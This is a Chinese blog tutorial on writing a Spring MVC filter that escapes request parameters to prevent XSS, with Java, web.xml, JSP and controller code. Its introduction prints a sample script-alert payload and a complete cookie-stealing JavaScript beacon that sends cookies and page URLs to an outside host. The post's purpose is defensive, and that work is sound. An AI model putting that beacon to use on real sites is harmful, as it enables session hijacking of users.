在SpringMVC中使用过滤器(Filter)过滤容易引发XSS的危险字符
一 简介
如题所示,如果不在服务端对用户的输入信息进行过滤,然后该参数又直接在前台页面中展示,毫无疑问将会容易引发XSS攻击(跨站脚本攻击),比如说这样:
form表单中有这么一个字段:
<input type="text" id="author" name="author" placeholder="昵称" />
然后潜在攻击者在该字段上填入以下内容:
<script>alert('XSS')</script>
紧接着服务端忽略了“一切来至其他系统的数据都存在安全隐患”的原则,并没有对来至用户的数据进行过滤,导致了直接在前台页面中进行展示。很显然直接弹窗了:
当然,这里仅仅只是一个无伤大雅的弹窗,如果是恶意的攻击者呢?他可能会利用这个漏洞盗取cookie、篡改网页,甚至是配合CSRF漏洞伪造用户请求,形成大规模爆发的蠕虫病毒等等。
比如说远程加载这么一个js将会导致用户的cookie被窃取:
(function(){(new Image()).src='http://xss.domain.com/index.php?do=api&id=ykvR5H&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if('1'==1){keep=new Image();keep.src='http://xss.domain.com/index.php?do=keepsession&id=ykvR5H&url='+escape(document.location)+'&cookie='+escape(document.cookie)};
不过,我发现我使用的IE10和最新版的Firefox都没有进行此项过滤,不得不说是个遗憾
注:我这里只是测试了猎豹、360、IE10以及火狐这四款浏览器,其他的没测试,因此不敢妄加评论
二 使用Filter过滤容易引发XSS的危险字符
(1)自定义一个过滤用的Filter:
package cn.zifangsky.filter;
import java.io.IOException;
import java.util.Enumeration;
import java.util.Map;
import java.util.Vector;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.lang3.StringEscapeUtils;
import org.apache.commons.lang3.StringUtils;
import org.springframework.web.filter.OncePerRequestFilter;
public class XSSFilter extends OncePerRequestFilter {
private String exclude = null; //不需要过滤的路径集合
private Pattern pattern = null; //匹配不需要过滤路径的正则表达式
public void setExclude(String exclude) {
this.exclude = exclude;
pattern = Pattern.compile(getRegStr(exclude));
}
/**
* XSS过滤
*/
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
throws ServletException, IOException {
String requestURI = request.getRequestURI();
if(StringUtils.isNotBlank(requestURI))
requestURI = requestURI.replace(request.getContextPath(),"");
if(pattern.matcher(requestURI).matches())
filterChain.doFilter(request, response);
else{
EscapeScriptwrapper escapeScriptwrapper = new EscapeScriptwrapper(request);
filterChain.doFilter(escapeScriptwrapper, response);
}
}
/**
* 将传递进来的不需要过滤得路径集合的字符串格式化成一系列的正则规则
* @param str 不需要过滤的路径集合
* @return 正则表达式规则
* */
private String getRegStr(String str){
if(StringUtils.isNotBlank(str)){
String[] excludes = str.split(";"); //以分号进行分割
int length = excludes.length;
for(int i=0;i<length;i++){
String tmpExclude = excludes[i];
//对点、反斜杠和星号进行转义
tmpExclude = tmpExclude.replace("\\", "\\\\").replace(".", "\\.").replace("*", ".*");
tmpExclude = "^" + tmpExclude + "$";
excludes[i] = tmpExclude;
}
return StringUtils.join(excludes, "|");
}
return str;
}
/**
* 继承HttpServletRequestWrapper,创建装饰类,以达到修改HttpServletRequest参数的目的
* */
private class EscapeScriptwrapper extends HttpServletRequestWrapper{
private Map<String, String[]> parameterMap; //所有参数的Map集合
public EscapeScriptwrapper(HttpServletRequest request) {
super(request);
parameterMap = request.getParameterMap();
}
//重写几个HttpServletRequestWrapper中的方法
/**
* 获取所有参数名
* @return 返回所有参数名
* */
@Override
public Enumeration<String> getParameterNames() {
Vector<String> vector = new Vector<String>(parameterMap.keySet());
return vector.elements();
}
/**
* 获取指定参数名的值,如果有重复的参数名,则返回第一个的值
* 接收一般变量 ,如text类型
*
* @param name 指定参数名
* @return 指定参数名的值
* */
@Override
public String getParameter(String name) {
String[] results = parameterMap.get(name);
if(results == null || results.length <= 0)
return null;
else{
return escapeXSS(results[0]);
}
}
/**
* 获取指定参数名的所有值的数组,如:checkbox的所有数据
* 接收数组变量 ,如checkobx类型
* */
@Override
public String[] getParameterValues(String name) {
String[] results = parameterMap.get(name);
if(results == null || results.length <= 0)
return null;
else{
int length = results.length;
for(int i=0;i<length;i++){
results[i] = escapeXSS(results[i]);
}
return results;
}
}
/**
* 过滤字符串中的js脚本
* 解码:StringEscapeUtils.unescapeXml(escapedStr)
* */
private String escapeXSS(String str){
str = StringEscapeUtils.escapeXml(str);
Pattern tmpPattern = Pattern.compile("[sS][cC][rR][iI][pP][tT]");
Matcher tmpMatcher = tmpPattern.matcher(str);
if(tmpMatcher.find()){
str = tmpMatcher.replaceAll(tmpMatcher.group(0) + "\\\\");
}
return str;
}
}
}
(2)在web.xml文件中将该过滤器放在最前面或者是字符编码过滤器之后:
<filter>
<filter-name>xssFilter</filter-name>
<filter-class>cn.zifangsky.filter.XSSFilter</filter-class>
<init-param>
<param-name>exclude</param-name>
<param-value>/;/scripts/*;/styles/*;/images/*</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>xssFilter</filter-name>
<url-pattern>*.html</url-pattern>
<!-- 直接从客户端过来的请求以及通过forward过来的请求都要经过该过滤器 -->
<dispatcher>REQUEST</dispatcher>
<dispatcher>FORWARD</dispatcher>
</filter-mapping>
关于这个自定义的过滤器,我觉得有以下几点需要简单说明下:
i)我这里为了方便,没有自己手动写很多过滤规则,只是使用了commons-lang3-3.2.jar 这个jar包中的 StringEscapeUtils 这个方法类来进行过滤。在这个类中有以下几种过滤方法,分别是:escapeJava、escapeEcmaScript、escapeHtml3、escapeHtml4、escapeJson、escapeCsv、escapeEcmaScript 以及 escapeXml。关于这几种方法分别是如何进行过滤的可以自行查阅官方文档或者自己动手写一个简单的Demo进行测试。当然,我这里使用的是escapeXml这个方法进行过滤
ii)因为一个web工程中通常会存在js、CSS、图片这类静态资源目录的,很显然这些目录是不需要进行过滤的。因此我也做了这方面的处理,代码很简单,看看上面的例子就明白了,或者可以看看我的这篇文章:https://www.zifangsky.cn/647.html
iii)关于“在Filter中修改HttpServletRequest中的参数”这个问题,只需要自定义一个类继承与HttpServletRequestWrapper 这个类,然后复写几个方法即可。如果对这方面不太理解的同学可以看看我的这篇文章:https://www.zifangsky.cn/677.html
iv)在上面的过滤器中,我在escapeXSS(String str) 这个方法的后面还针对“# οnerrοr=javascript:alert(123)” 这种语句进行了专门的过滤。不过不过滤的话问题也不大,我觉得最多就是出现个弹窗,因为把尖括号和引号都给转义了,并不能够执行一些比较危险的操作
(3)两个测试的前台页面:
i)form表单页面input.jsp:
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<base href="<%=basePath%>">
<title>FilterDemo</title>
</head>
<body>
<div align="center">
Please input you want to say:
<form action="show.html" method="post">
<table>
<tr>
<td><input type="text" id="author" name="author" placeholder="昵称" /></td>
</tr>
<tr>
<td><input type="text" id="email" name="email" placeholder="邮箱" /></td>
</tr>
<tr>
<td><input type="text" id="url" name="url"placeholder="网址"></td>
</tr>
<tr>
<td><textarea name="comment" rows="5" placeholder="来都来了,何不XSS一下"></textarea></td>
</tr>
<tr>
<td align="center"><input type="submit" value="Go" />
</tr>
</table>
</form>
</div>
</body>
</html>
ii)结果显示页面show.jsp:
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<base href="<%=basePath%>">
<title>FilterDemo</title>
</head>
<body>
<div align="center">
<table>
<tr>
<td>昵称:</td><td>${author}</td>
</tr>
<tr>
<td>邮箱:</td><td>${email}</td>
</tr>
<tr>
<td>网址:</td><td>${url}</td>
</tr>
<tr>
<td>留言:</td><td>${comment}</td>
</tr>
<!-- <tr>
<td><img alt="x" src=${comment}></td>
</tr> -->
</table>
</div>
</body>
</html>
(4)测试用的Controller:
package cn.zifangsky.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.ModelAndView;
@Controller
public class CommentController {
/**
* 获取留言并在页面展示
* */
@RequestMapping("/show.html")
public ModelAndView showComment(@RequestParam(name = "author", required = true) String author,
@RequestParam(name = "email", required = false) String email,
@RequestParam(name = "url", required = false) String url,
@RequestParam(name = "comment", required = false) String comment) {
ModelAndView mAndView = new ModelAndView("show");
mAndView.addObject("author", author);
mAndView.addObject("email", email);
mAndView.addObject("url", url);
mAndView.addObject("comment", comment);
return mAndView;
}
}
这里的代码逻辑很简单,因此就不多做解释了
(5)测试:
测试的效果如下: